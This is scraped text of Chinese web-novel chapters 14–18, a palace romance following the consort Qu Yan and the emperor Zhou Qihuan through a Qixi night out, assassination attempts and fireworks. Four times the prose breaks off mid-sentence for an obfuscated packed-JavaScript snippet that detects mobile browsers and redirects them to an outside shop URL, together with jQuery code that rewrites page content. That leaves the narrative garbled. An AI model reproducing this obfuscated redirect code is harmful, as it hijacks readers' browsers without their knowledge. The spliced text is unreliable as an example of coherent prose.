帝王颔首,“卿有此心意,朕心甚慰。今特封卿为转运使,携朕诏书,领禁卫三千,都水监同往。所过之处如朕亲临,沿途粮草、兵丁、钱帛悉听调遣,如有阻碍公务者,先斩后奏。” “臣必不负陛下所望!” 此言一出,都水监面色青白,跪下谢恩——朝堂之上,向来是胆大者才能向上爬。 一介殿中侍御史,专门被叫来商议水患,提拔之意已经很明显。 而叶尘心没有辜负这样的机会。 不知不觉暮色四合,本该休沐的臣子从帝王书房恭谨退出,皆是静默。 曲延想,原书里叶尘心反叛,是不是也有部分对“先帝”周启桓的忠诚? “曲君为何总在发呆?”帝王玉石相击般的嗓音鼓颤耳膜。 曲延耳根子酥软,“发呆就是养神,陛下也该多发呆。” 帝王起身,携起曲延的手走去用晚膳,“曲君又怎知,朕不会发呆。” “什么时候?”曲延好奇,高精力如周启桓也会发呆? “曲君睡着的时候。” “?” 高冷的帝王不再多言。 曲延悄摸想,该不会是看着我发呆吧? 不行,不能这么自恋。 吃过晚膳,便是七夕的重头戏,帝王微服出宫,只为陪曲延看一看人间的热闹。 至于路上遇到落水、刺杀、起火,那都是小事? 曲延事后表示:“……以前七夕我是单身狗,今晚差点变成热狗,幸好有英明神武的如面包的皇帝陛下夹着我跑。被人带飞的感觉真好。” 14.约会了 曲延换了一身白衣,素净如霜,衬得脸蛋光洁,明眸皓齿。 在民间,只有穷苦人家才会穿不带颜色的衣服。不过这身衣服料子非比寻常,比普通白衣更加柔滑,包边银线刺绣,隐约流淌水波般光彩。头戴银冠,腰坠白玉,在这繁华的盛京也算大隐隐于市,乍一看顶多是哪家的小公子。 屏风后,更完衣服的帝王走了出来,曲延的眼睛一亮。 大周朝以玄色为尊,玄色是一种黑中带红的颜色,平日里周启桓总是那样黑漆漆、冷冰冰,看着就不好亲近。而现在,微服的帝王换了一身缥色的华服,类似青色与白色之间的颜色。 周启桓长身玉立,冷翠色的眸子微微低垂,“怎么?” 曲延说:“陛下好像一只花瓶。” “……” 曲延隐约在哪里看过,左右张望。忽而指着百宝架上的宽口细颈花瓶,“就是它!” 夜合殿内气氛微妙,掌灯女官谢秋意好险才克制住嘴角的上扬,温声道:“这是影青瓷,因着釉色晶莹剔透,胚胎半透明,有饶玉之美称。” 这花瓶颜色与帝王身上的华服确实极为相近。 众人不敢笑。 高冷的帝王只说了句:“走吧。” 微服出行,不宜带太多人。除却装扮成管家的吉福,以及众多暗卫,旁人一律留守。 御驾穿过南边第二道皇城小门,换了马车,从角门而出,进入主大街后在一个巷口停下。 周启桓先出来,朝曲延伸手。 曲延很自然地搭在帝王宽大的掌心,温热传递,屈膝兔子般往下一跳。 “我看人家马车都有凳子踩,我们怎么没有?”曲延问。 周启桓一顿,看向曲延的腿,“朕我无需马凳。” 帝王一米九的身高,一米多的大长腿,确实不需要凳子,随便一跨就从马车下来了。 曲延:“……” 曲延:“我也不需要!我腿很长!” 周启桓:“嗯。” 但相比周启桓,身高差在那里,腿长差也是有的。 曲延酸溜溜地想,如果不是小时候营养不良,他肯定能长到一米八。 显然,这具身体也有些营养不良,才会扭头时只能看到帝王线条冷峻锋利的下颌。 “陛……那个,我该称呼你什么?”曲延边走边问。 周启桓:“曲君随意。” “那,老爷?” “……”帝王冷脸。 “大哥?” “……”帝王脸色好了一点点,也只是一点点。 “官人?” “嗯。”周启桓飞快答应。 曲延内心蛐蛐:堂堂帝王,这么傲娇。 吉福笑道:“老奴斗胆唤陛下为周大官人,灵君为小公子。” 周启桓颔首。 出了巷口,眼前登时热闹起来,一眼看去,十里长街灯火绵延、五彩缤纷、人声鼎沸。 街边小摊鳞次栉比,各样吃食点心玩具,在宫里见都没见过。 曲延挨个看去,“哇,这是什么?这又是什么?这个能吃吗?” 曲延拿起小摊上的牛郎糖人,张嘴就要吃。 吉福赶忙付钱阻止,“哎呦喂,小公子吃不得,这要是吃坏了肚子怎么办。” 曲延已经把牛郎糖人的头咬下来,“我就吃。” 他不光自己吃,还喂了周启桓一口。 吉福:“……” 这喂的不是糖人,而是狗粮。 七夕之夜,最有名的当然是巧果,十个摊子里,起码有三个卖巧果,便是如此还要排队。 曲延闻着空气中油炸的香气,紧紧拉着周启桓的手,“人这么多,我们可不能走散了。” 吉福:没人在乎老奴。 很快就排到了曲延,面对香喷喷刚出油锅的巧果,曲延每个花样都要了一块,尤其是合欢花形状的,只剩最后一块。 看来合欢花在大周朝真的很受欢迎。 巧果包在油纸里,曲延每样尝一口,“官人,这个好吃,你吃。” 周启桓就着曲延咬过的地方下口,“嗯。” 曲延脸热,“你可以从别的地方吃。” 帝王冷淡的眸子被周遭的花灯染上温度,“无妨。” 系统:【间接接吻,可把你美的。】 曲延:“……滚蛋。” 除了巧果摊子,火爆的还有瓜果摊子,尤其卖石榴、葡萄、红枣的。曲延问这是为什么。 周启桓磁性如玉石的嗓音能穿透嘈杂的人声:“传说七夕之夜的瓜果被祝福过,格外的甜,能带来好运。” 所以大红大紫的瓜果在这夜很受欢迎。 为了卖水果,摊主使出十八般武艺,有的制成冰饮,和冰块拌在一起。有的切成小块,和牛奶融合。有的则铺在面饼上,烤成果味瓜饼。 曲延:“……果茶、奶茶、披萨!” 古人的智慧果然是无穷的。 曲延每样尝一点,很快就饱得不行,步伐艰难,宛如怀胎。 周启桓牵着他手慢慢走,“不得再食。” 曲延点头,“不吃了不吃了,吃不下了,嗝。” 前方花灯璀璨,有各色男女结伴同游,彼此含情脉脉,互赠香囊、扇子、花灯,一起赏玩。曲延发现很多人的脸上画着花钿,女子多为合欢花,男子颊边会有些装饰。 灯火阑珊处锣鼓喧天,丝竹声声,火树银花。 曲延就爱热闹,拉着周启桓往前走,“官人我们去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651446|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看。” 七夕人多,摩肩接踵,曲延被撞了好几次。 周启桓气场强大,即便此刻只是乔装成一名普通富贵公子,总有人给他让路,不敢轻易接近。他拉住曲延,往身边带。 曲延几乎被周启桓揽在怀里,“干嘛?” 对面有人说说笑笑走来,又要撞到曲延。 周启桓抬手挡住,嗓音沉缓:“小心。” 曲延从没被人这么保护过,一时不知所措,眨巴眼睛,“我是男人,被撞几次也没事。” 周启桓不言,示意藏在人群里的暗卫。 暗卫开路,这就甩开膀子演起五大三粗的人设:“没长眼睛啊,一边去。” “别挡老子的路。” “公主驾到,通通让开!” 无辜的人民群众:“……”呔,遇到街溜子,溜了溜了。 曲延:“……”别以为他不知道那几个暗卫长什么样子。 公主驾到什么鬼。 冷若冰山的帝王面无表情,岁月静好地携曲延的手走在夜市中。 至于吉福,不知道掉哪里去了,急得像只鸭子不停跳起来,一颗微秃的脑袋沉浮在人群中,“周大官人!小公子!你们在哪里?” 扑通——一声女子的惊叫。 紧接着更多的人惊叫:“啊呀,有人落水了!” 曲延竖起耳朵,“那边有人落水了,我们快去看看。” 周启桓:“……你真是什么热闹都爱看。” 然后他们就看到了站在桥上装逼的屎傲天。 欧阳策已经跳下水去救人。 不是周拾不想救,而是他有个致命的弱点,水性不好。 眼看欧阳策救了一个美女上来,周拾瞬间眼热,赶忙就要去给人家姑娘做人工呼吸,邪恶的鸡爪子直接往人家姑娘的胸脯按去—— 曲延大惊:“他要非礼了!快阻止他!” 周拾被周围的人七手八脚按住,面红耳赤狡辩道:“我是要给她做人工呼吸!”抬头看到曲延,面色一变,再看曲延身边站着的高大身影,更是面如死灰。 欧阳策当场要吓死,“陛、陛……” 不知是不是主角光环发作,一名乞丐忽然发癫似的冲来推在曲延后背。 曲延正站在桥边,猝不及防往下扑去—— 千钧一发,一只骨节分明的大手攥住曲延手臂。 曲延转个圈,紧接着被揽住腰稳住。电光火石间,周启桓抬腿一踹,将那名乞丐踹进河里。 更多的乞丐冲来。 暗卫出动,有样学样,一人一脚,将他们全都踹进河里。 众人:“……” 有个吃着巧果的小孩发出奶呼呼的惊叹:“阿娘,他们是在表演下饺子吗?” 15.经年伤 人在水里扑腾,人在岸上喧闹,过节气氛十分浓厚。 不一会儿,被欧阳策救起的美女自动醒来,一眼看到欧阳策那张五大三粗的脸,不忍直视,扭头看向白白净净的龙傲天,“是你救了我吗?” 周拾:“……” 欧阳策:“这位娘子,是我救了你。” 岭北郡主充耳不闻,含情脉脉地望着龙傲天,“多谢公子。” 周拾嘴角抽抽,“不用谢。” 欧阳策:“……” 另一边暗卫开路,周启桓拉着曲延穿过人群,在百姓赞叹的目光中,低调地走了。 曲延走时朝欧阳策投去一个同情的眼神。 欧阳策的心碎成了渣渣,什么话都说不出来。 应天府的官兵到来,救人拿人,疏散人群,盘问欧阳策与周拾。 欧阳策亮出两人的身份,官兵无不尊敬,细细查问下竟得知这落水女子乃是岭北郡主,河边看花灯晃了眼,才掉进水里。 “你们可知刚才打得那些乞丐落水的是何人?” 欧阳策不敢说。 周拾:“路人,不认识。” 若让官府知道帝王微服出行,也是一件麻烦事,整条街别想过节了。 周拾无视岭北郡主的媚眼如丝,兀自盘算着,脸上难得显出与这个年纪不相符的老谋深算来——这倒是一个好机会。 “……原来是世子殿下,失敬。”岭北郡主如是道,“不知如何报答世子救命之恩?” 周拾回神,“郡主不必客气,我还有事,先走一步。” 欧阳策忙问:“你去哪儿?” 周拾没有回答,潇洒挥挥手。比起美人,当然是唾手可得的江山更重要。 欧阳策与岭北郡主大眼瞪小眼,“郡主,我们……” 岭北郡主扭头就走,看也不看欧阳策一眼。 “……” 此时的曲延已经走到了锣鼓喧天处,只见此处更加热闹,欲要挤进人群看看怎么回事,被周启桓捉住手腕:“这边。” 他们进了街边一家茶铺,于早就布置好的二楼窗边落座,从上往下看,只见百二十个头戴彩色凶恶面具、身穿红绿相间戏服、腰肩彩带飘逸的人正在跳舞。 那舞蹈奇诡古朴,领头的少年手执长戈与盾牌,敲打的鼓声仿若远古的呼唤。 “这是什么?”曲延问。 “傩戏。”周启桓命暗卫取二十贯铜钱,“民间有云,傩神出巡,逐疫消灾,福泽万民。” 曲延似懂非懂,专注地看着傩戏。 “曲君若是喜欢看傩戏,除夕时太常寺会主持‘大傩仪’。” “大挪移?乾坤大挪移?” “……”周启桓道,“傩戏的最高仪式。” 曲延喝茶吃巧果掩饰自己的文盲。 一舞毕,百姓欢呼,纷纷掷撒铜钱,显然傩戏在大周朝十分受欢迎。暗卫端着装了二十贯铜钱的木箱赏赐下去。 傩戏的队伍渐行渐远,他们会穿过盛京主干道,给更多的人带去消灾祈福的乐舞。 曲延喝了茶,吃了果子,拉着周启桓去看茶博士说的火树银花。每逢过节,火树银花也是大周朝必演的节目之一,值得一观。 火树银花在街尾的空地上进行,离民居相对较远,且靠着河流,时刻官兵巡查,因此百姓都很放心地看。 将近十米高的花棚上坠满柳枝,边缘绑着鞭炮,表演的师傅赤着胳膊,等铁水烧成之后舀出一勺,再用铁锤往空中一敲,登时火星弥漫,沿着柳枝洒落下来。 一眼看去,果然火树银花,绚烂得如同漫天星子坠落。 曲延拍手叫好,“官人快给我钱。” 周启桓命暗卫又取了二十贯铜钱来,让曲延也演了一回财大气粗。 面对如此阔绰的手笔,表演的师傅无比感激,演出更加卖力。却说那时,当表演师傅再要打铁花时,一根银针忽而飞来,在火花中银光一闪,刺中他手腕。 叮的一声敲击—— 火光四溅,铁水倾斜。 那漫天的火花不在花棚柳条中穿梭,反而落向民众这边。 惊叫声四起。 曲延睁大眼睛,看着那些火花流星般坠落。 电光火石间,他被拦腰抱住,疾速掠去。 但还是被灼到了衣摆鞋面,如果不是鞋子足够厚实,恐怕脚要烫伤。 那些来不及躲避的百姓就没那么好运了,痛呼不绝,场面混乱。 甚至有的地方开始起火。 “周……官人,你怎么样?!”曲延惊魂未定,赶紧检查周启桓身上。 “无事。”周启桓冷脸看向周围,向暗卫示意。 暗卫立即出动,前去捉拿暗中行凶之人。 曲延顾不得其他,看到周启桓背后的几点灼烧时急得不行:“你受伤了!” “一点皮肉小伤。” “不行,我们现在回宫,必须让御医看看。” 表演的师傅面色惨白地被官兵控制起来,周遭民众嚎啕大哭。官兵盘问到曲延这里,吉福不知从哪儿跑来,见状当即老泪横流:“陛下!” 官兵慌乱跪成一团,瑟瑟发抖。 周启桓言简意赅:“灭火,带百姓去医馆。” 乱糟糟一团,帝王却并未回宫,带曲延坐进马车,去了京中的宝塔寺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655796|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝塔寺下已有仪仗在等候,百官跪迎。 吉福尖细的嗓子喊:“御医,传御医!” 七八个御医赶忙上前,为帝王检查伤势。 周启桓却让曲延坐下,脱下他鞋子,确定没有伤到脚之后,才自己脱下外袍,背对御医。 御医检查后舒了一口气:“陛下龙体强健,这铁水灼伤,不出半个月便会好起来。” 曲延想起一件事,“若是有人故意谋害陛下,铁水里会不会掺了别的什么?” “这……会掺了什么?” “屎?” “…………” 周启桓淡声道:“没有。” 曲延:“还是消个毒吧,万一发炎,可是会要命的。” 他在系统商城划拉,看到药品专栏,把能买的消炎药都买了,积分很快见底。 等御医给帝王简单上了烫伤药离开,曲延立即从怀里拿出碘伏、莫匹罗星软膏、红霉素软膏、重组人表皮生长因子凝胶、阿莫西林…… 周启桓目光低垂:“这是何物?” 曲延随口扯了一个谎:“我在市集买的药,陛下,我给你重新上药。” 周启桓定定地看了曲延一会儿,嗯了一声,背过身去。 刚才御医谨慎地隔着中衣给帝王上药,从烧焦的孔洞抹药。曲延觉得十分麻烦,伸手扒拉帝王的中衣,“都脱下来。” 周启桓:“……” 御医都不敢直视的天子龙体,在曲延的手里轻而易举地褪下。 宽阔削直的肩,肌肉均匀的手臂背脊,每一条沟壑都蕴藏爆发的力量感,天神般不可亵渎。 曲延第一眼看到的,却不是灼伤,也不是帝王完美的躯体,而是三道纵横交错的经年旧伤。 它们狰狞地分布在帝王背脊上,每一道都深可见骨,每一道都见证了曾经的致命伤害。 曲延瞳孔放大,刹那间有如一盆冰水从头泼下来。 一个疑惑在他心中成型—— “……周启桓,真的是过劳死吗?” 系统不语。 曲延:“系统,你是不是在骗我?” 系统:【……】 是不是在曲延来之前,其实周启桓几次差点死去? 过劳死根本就是个谎言,是为了掩人耳目。曲延眼前的帝王,大周的皇帝,从一开始就活在水深火热、刀光剑影中。 像是有什么要破壤而出,曲延的头很痛,心脏闷闷的,但还是坚持给周启桓上了药,眼前一片模糊。 他以为自己忽然近视,脸颊却被微糙的指尖抚过,帝王低低的嗓音不似平日那般冷静:“别哭,朕不痛。” 16.登鹊桥 曲延从小到大就没哭过几回,上次哭还是因为高中暑假在冷饮店打工,最后一支冰淇淋打算自己留着吃的,结果忙到半夜被人买走了。 不知道为什么就掉了两滴猛男泪,还好当时只有自己一个人。第二天早上奖励自己两支冰淇淋,把自己哄好了。 后知后觉的,此时他才发现自己的眼睛在掉小珍珠。慌忙用手背擦了擦,有点不好意思。 “陛下,你穿上衣服吧。”曲延擦了眼泪,视线登时清晰,一米九美男肌肉的冲击可真不小。 周启桓慢条斯理穿上吉福准备的新衣,遮住那一身旧伤。 曲延痴痴地看着,问:“怎么弄的?” 周启桓:“战场厮杀,向来如此。” “你是皇帝,还需要领兵打仗?” “朕是太子时就领了兵。” 曲延抿唇沉默片刻,“除了战场,是不是在其他地方也受过伤?” 周启桓穿好中衣,站起来披上外袍,冷翠色的眸子望着闷闷不乐的青年,“都是小伤。” 曲延不再追问,确定了一件事,周启桓这样高素质、高精力的身体,过劳死的可能性不是没有,但相比谋杀,过劳的可能性微乎其微。 原书驾崩最大的原因,定然是来源于外伤,或者内伤。比如行刺、毒杀,而后伪装成过劳死。 这样急于让周启桓“退位让贤”的,只有龙傲天周拾。 也有可能来源于其他想要皇位的藩王,比如看似庸碌敦厚的英王,比如反目成仇的荣王。以及还未出场的某某人物。不过这些人都比不过龙傲天的主角光环,唯一的作用是借花献佛,让龙傲天更容易捡漏。 “陛下,今夜不是意外。”曲延忽然抬头,言之凿凿地说。 周启桓慢慢扣好腰间玉带,“朕知道。” 暗卫翻窗而入,跪禀道:“陛下,人已抓获,但咬了舌。” 周启桓:“有第一次就会有第二次,准备着。” “遵。”暗卫悄无声息离开。 曲延暗想,刚见过周拾就发生这档子事,指向简直太明显。以周拾的性子,确实有可能发动第二次刺杀。 “难道我们就等着吗?”曲延问。 周启桓穿戴齐整,又是那个冷若冰山的帝王,嗓音沉稳:“曲君放心,这次不会出意外。” 帝王移驾宝塔寺,群臣等候,是有原因的。 为庆七夕佳节,工部在京中建“鹊桥”四座,分布于京城正南、正北、正西、正东四个方位,除却正南,其余“鹊桥”在这晚可供游人赏玩,只等正南鹊桥一开,其他鹊桥会相继投入使用。 曲延以为鹊桥是一座桥,但从工部尚书奉上的图纸看,那鹊桥悬于空中,由两座高楼相连,类似空中廊桥。 两座高楼一座供奉织女星,一座供奉牵牛星,二星于七夕相会,遂成吉时天象——与民间传说的爱情故事无关。 在两星交汇时,帝王亲临鹊桥祈福,自然更增光彩,庇佑大周。 曲延也换了一身常服,夜间风起,周启桓命人取来一件流光溢彩的金丝羽缎红披风,给曲延罩上。 御驾朝着南鹊桥而去,仪仗浩荡,百姓避让。 一路清静,没有发生意外。 周启桓瞧着青年一脸枕戈待旦的表情,宽大的掌心拢住曲延细长雪白的手,无声安抚。 聪明人不会挑这种时候动手。 华盖铃铛轻响,曲延反手握住帝王温热的手,七上八下的心渐渐静下来。 到了鹊桥前,一声冲天炮响划破夜空,城中四处绽放烟花,璀璨华光笼罩整个盛京。 曲延得见鹊桥真面目,纸上谈兵终觉浅,亲眼看到时震撼无以言表,这样美轮美奂的建筑,称为艺术也不为过。 悬空的鹊桥下,群臣跪拜一片,“吾皇万岁,灵君万福。” “平身。”周启桓道。 吉福尖细的嗓子唱喝:“起——” 而后便是走礼仪。 曲延跟着走就是,该吃吃,该喝喝,该坐坐。帝王的手只要一空下来,就会挽起他。 工部礼部太常寺出列,各自禀奏,唱祝词。 而后便是开幕式歌舞环节。曲延看不懂门道,只能瞧个热闹。 一朵巨大的荷花车自歌舞乐团中驶出,花车上围了一圈舞女,各拿一瓣纱与铁丝制作的假花瓣,徐徐展开,制造花苞绽放的效果。 如果不出意外,花苞里是个美人。 “贵妃献舞,既寿且昌——”吉福唱喝。 曲延难掩激动地盯着绽放的花苞:“难道这就是传说中倾国倾城、国色天香、沉鱼落雁、闭月羞花的羽贵妃?” 宫里的妃子只有羽贵妃曲延还没见过,按理说,身在妃位的曲延该去给羽贵妃请安,只是一直没得空。 上次“调监控”,俩小宫女说羽贵妃将在七夕一舞倾城,打动陛下的心。原来在这里。 周启桓一瞥青年认真的模样,并不言语。 花苞绽放开来,一道丰腴的红色人影如同一团火球哗啦一下展开手臂,开始抖动。 曲延:“……” 羽贵妃衣服如火,发鬓如云,插着两根孔雀羽,看上去就像增重版的猴哥刚从太上老君的丹炉里跳出来。 羽贵妃眯起两条缝的眼睛,制造媚眼如丝的效果,朝周启桓抛了一个媚眼,然后又开始抖动双臂,跳跃,只比花车小一圈的身体旋转,周围的舞女纷纷被挤下去。 群臣一脸严肃地观赏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664352|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>羽贵妃跳大神似的,还是跳不起来的那种。 系统适时在曲延脑海里配乐:【噔,噔,噔噔噔~】 曲延:“…………” 不能笑,绝对不能笑! 曲延噘起嘴巴,努力控制自己的嘴角。 周启桓伸手挠了一下青年腰窝。 曲延:“……啊哈哈哈!陛下!” 这一笑就止不住了,完了。 群臣低头,不知是谁憋得放了一个屁,当场被人参了一本,然后喜提革职。 贵妃不愧是贵妃,献完舞施施然行礼:“陛下,臣妾跳得可好?” 周启桓:“贵妃辛苦,赏百金。” “多谢陛下。”羽贵妃趾高气昂,又朝曲延抛了一个媚眼,退下了。 曲延:“……”格局打开了。 而后,帝王携曲延登鹊桥,从楼梯一层一层爬上去。 曲延爬到四楼就不行了,呼哧喘气。周启桓直接打横抱起他,步伐沉稳。 “怎么这么高啊。”曲延难以理解,“作为景点的话,一般两三层就够了吧。” 帝王垂下湖泊般冷绿的眼睛,淡声道:“鹊桥不是用来观赏,是为了监察京中人员流动。” “?” “大周自开放蕃商以来,海外商人络绎不绝,又有边塞商人进京,难免鱼龙混杂。多有盐铁私贩,此二样乃国之根本,自然要严查。” 曲延:“所以鹊桥不是鹊桥,而是可以传递信息的瞭望台?” “嗯。”周启桓道,“羽贵妃家世深厚,但遭奸人所害,鹊桥的建成有她功劳。被革职的那人,是奸人党羽,算是朕给她的一点回礼。” 曲延没想到周启桓会跟自己解释这些,其实他看到羽贵妃身份小卡的时候就知道了。 【羽贵妃,羽霓裳,江南富商之女,富可敌国,但遭徐太尉迫害,几经辗转进宫自请封妃得以庇佑。】 羽贵妃的故事不简单,也许能成为扳倒徐家的一个重要助力。 曲延这般想着时,耳畔落下一道低低的嗓音:“曲君,看。” 夜风拂面,曲延自帝王怀中抬头望去,但见万家笼在月色中,千盏花灯燃长街,人影憧憧如云来,笑语盈盈暗香去,盛世繁华莫过于此。 周启桓轻轻放下怀里的青年,红披风拂过他手臂,如大婚那夜的喜服。 曲延走到桥边,眼底波光潋滟,“好美……” 他转过脸,眼中的月华如水灯火绵延淡去,帝王俊美无俦的脸显出清晰的轮廓,满满的都是眼前人。 “陛下,这里太好看了。” “嗯。” 曲延看帝王的山河人间,而帝王看着曲延。 今夕何夕,见此良人。 17.点朱砂 烟火璀璨,盛京繁荣。 曲延正全神贯注地与帝王共赏这江山,忽然听到刀剑相击声。 “?” 乒乒乓乓,咚咚锵锵。 咻咻咻咻,啪啪啪啪。 声音是从鹊楼里传来的,驻守的禁卫正在与人交战。 间或传来吉福的尖叫:“刺客!保护……保护我!哎呀!嘎!” 曲延探头探脑,被周启桓单手掰正脑袋,面朝烟花,“这个好看。” “……真的没事吗?”曲延问。 周启桓稳如冰山,“放心。” 于是曲延就在这诡异的配音中继续看烟花。 一个黑衣人影宛如青蛙飞过斑斓的烟花,坠落下去。 曲延讶异指着,“刚才你看到了吗?” 帝王:“嗯。” 刀剑声逼近,一人行将冲出来,被暗卫手起刀落,砍出二十米开外,呈抛物线飞过烟火。 曲延:“啊?” 紧接着,更多的刺客七手八脚、奇形怪状地伴随着烟花坠下鹊桥。 底下正在自得其乐、互相吹捧的大臣们面前忽然落了一地扭曲的尸体:“………………啊啊啊啊啊!!” 曲延在心里默默为那些刺客点了一排蜡烛,走好,来世别做龙傲天的工具人了。 干什么不好,非要造反。 曲延这边默哀着,忽然有一个刺客冲破禁卫与暗卫防线,飞上廊桥。 那刺客身量精瘦,轻盈如雀,明显与那些三流刺客不是一个量级,手持一把银亮软剑向帝王冲杀而来。 曲延瞬间慌乱,下意识想挡在周启桓面前,却被帝王宽大的手掌一把薅到身后。 叮的一声,周启桓手握一柄弯刀与之相击。 软剑软而柔韧,弯刀柔中带刚,此二武器也算彼此遇到了克星。 刺客仗着身量轻盈,避开刺来的暗卫刀刃,在栏杆边旋转一圈,猛地继续朝帝王突击而去。 周启桓脚下不动,只手上与刺客过招,一时竟分不出胜负,甚至游刃有余。 那刺客在夹击下跳上廊桥顶部,与其他暗卫交战片刻,翻越腾飞下来,正好落在曲延不远处。 刺客却没有袭击曲延,而是舍近求远,刺向帝王。 不过曲延第一时间又被周启桓护到身后。 再次交锋。 刺客又得一次接近曲延的机会,但依旧没有下手的迹象,一味攻击周启桓。 曲延察觉到了不对。 “现在刺客这么有素质的吗?目标是谁就杀谁?”曲延问系统。 系统:【你要是想找死,可以冲上去。】 曲延:“滚蛋。” 几次三番不能得手之下,眼看廊桥上的暗卫与禁卫越来越多,刺客并不恋战,在被周启桓一刀划伤手臂之后,毅然跳下楼去,几经腾挪飞跃,竟跳到民居房檐,在夜色中飞奔而去。 暗卫踩瓦追逐。 其余刺客死的死,逃的逃,只抓到两个活口。 禁卫统领跪下请罪:“臣看守鹊楼不力,请陛下处置。” 周启桓看了眼碎成布条的袖口,淡声道:“先收押刺客,天亮前撬开他们的嘴。” “遵!” 曲延忙检查周启桓手腕,见只是衣服又报废,人没有受伤,这才松了口气。 吉福哭哭啼啼走来跪下:“陛下,灵君,可吓死老奴了。刀剑无眼,差点就砍到老奴了。” 曲延问:“吉福总管可有受伤?” 吉福娇羞地捂着破损的衣服下摆,“幸好老奴早就没了子孙根,不然再被切一刀,这条小命就没了。” 曲延:“……” 无良刺客,怎么还砍别人鸡鸡…… 吉福给了自己一小嘴巴子,“哎呦喂,老奴该死,怎么能说这种话,脏了陛下灵君的耳朵。” 周启桓道:“取茶果点心来。” 吉福忙去取早就备好的茶点,给英明神武的皇帝与他的宠妃压压惊。 烟花腾空炸响,如万千斑斓柳丝垂落。曲延的心情渐渐平复,“陛下,你有没有觉得,那个刺客并不想杀我?” 周启桓不置可否。 “你就不怀疑,他跟我有什么关系吗?”曲延忐忑地问。 有些话还是明摆着说出来比较好,省得误会重重。 帝王冷翠色的眸子沉静如潭水,“良辰美景,他们不重要。” “那什么才重要?” “曲君在朕眼前。如果说曲君和人有关系,那个人也只会是朕。” 曲延抿起唇,“陛下就一点都不怀疑我吗?” 周启桓道:“你是谁,朕比任何人都清楚。” “我是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668348|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “曲延。”周启桓携起曲延的手,“朕的灵君。” “……” 大周的帝王,江山之主,本该是天上月,云中仙,遥不可及。而此刻,他的脸庞是峰峦山川,眼睛是风花雪月,坦荡如砥,全都让曲延看到。 曲延心脏鼓动,血液奔腾如江河,他说:“周启桓,我永远站在你身边,永远不会伤害你。” 帝王望着他,“直呼朕名,曲君好大的胆子。” 曲延笑起来:“陛下纵的。” 吉福端来茶果点心放下,识趣地没有悄摸退进鹊楼。 曲延吃了果子,喝了茶,转头看向周启桓带给他的盛世光景,觉得时间停在这一刻也很好。 轻微的叮叮当当声。 曲延好奇地看着帝王修长如玉的手摆弄一支毛笔,蘸取一只圆形小瓷盒内的红色颜料。 “这是什么?”曲延问。 “胭脂朱砂。”周启桓道,“每逢过节,大周的贵女公子们会以此画魇,驱邪避灾。” 曲延想起街市上那些年轻女子的眉间花钿,男子的脸颊花样,“原来如此。” “尤其是二十岁左右的男女,传说最容易招鬼神惦记。”周启桓嗓音平静,骨节分明的手握着朱砂笔微微抬高,对准青年的脸。 曲延眨巴眼睛,“可以不要画在脸上吗?花里胡哨的。” 周启桓思忖须臾,一手捏住青年软乎乎的腮帮,使其微微仰头,黑白分明的杏仁眼比星子更亮。 帝王的目光扫过青年眼下那颗小痣,抬笔落在青年额间。 “别动。” 曲延闭上眼睛。 “好了。” 曲延掀开眼皮,转动眼珠子,当然是看不到的。 一点朱砂落在额间,衬着雪肤乌发红披风,简单却秾艳。 “陛下……”曲延想问画成什么样,却从帝王的眼睛里看到自己的模样,满满的,都是自己。 仿若高山积雪融化,森林湖泊随风起涟漪,草木的辛香,合欢的醉人,揉碎在那一池月光下,心魂被星辰烟火烘托着升起,说不清也道不明,这夜情愫的奔涌。 曲延只知道,周启桓笑了。 为自己而笑。 “愿君百病不侵,岁岁长安,所求皆如愿,余生皆顺意。” 周启桓对曲延说。 18.大奸臣 月上中天,御驾回宫。 曲延累极了,浴桶里随便洗个澡便爬上了床。用水搓脸的时候,他看着水中自己的倒影,额间那一点朱砂红,忽然有些不舍洗去。 正躺在床上辗转反侧,曲延忽然听到沉稳的脚步声靠近,撩开纱帐看去,“陛下?” 周启桓显然也刚沐浴过,身披一件珍珠光泽的睡袍,他鲜少穿得这样轻盈,如同皑皑积雪,自带清凉的气息信步走来。 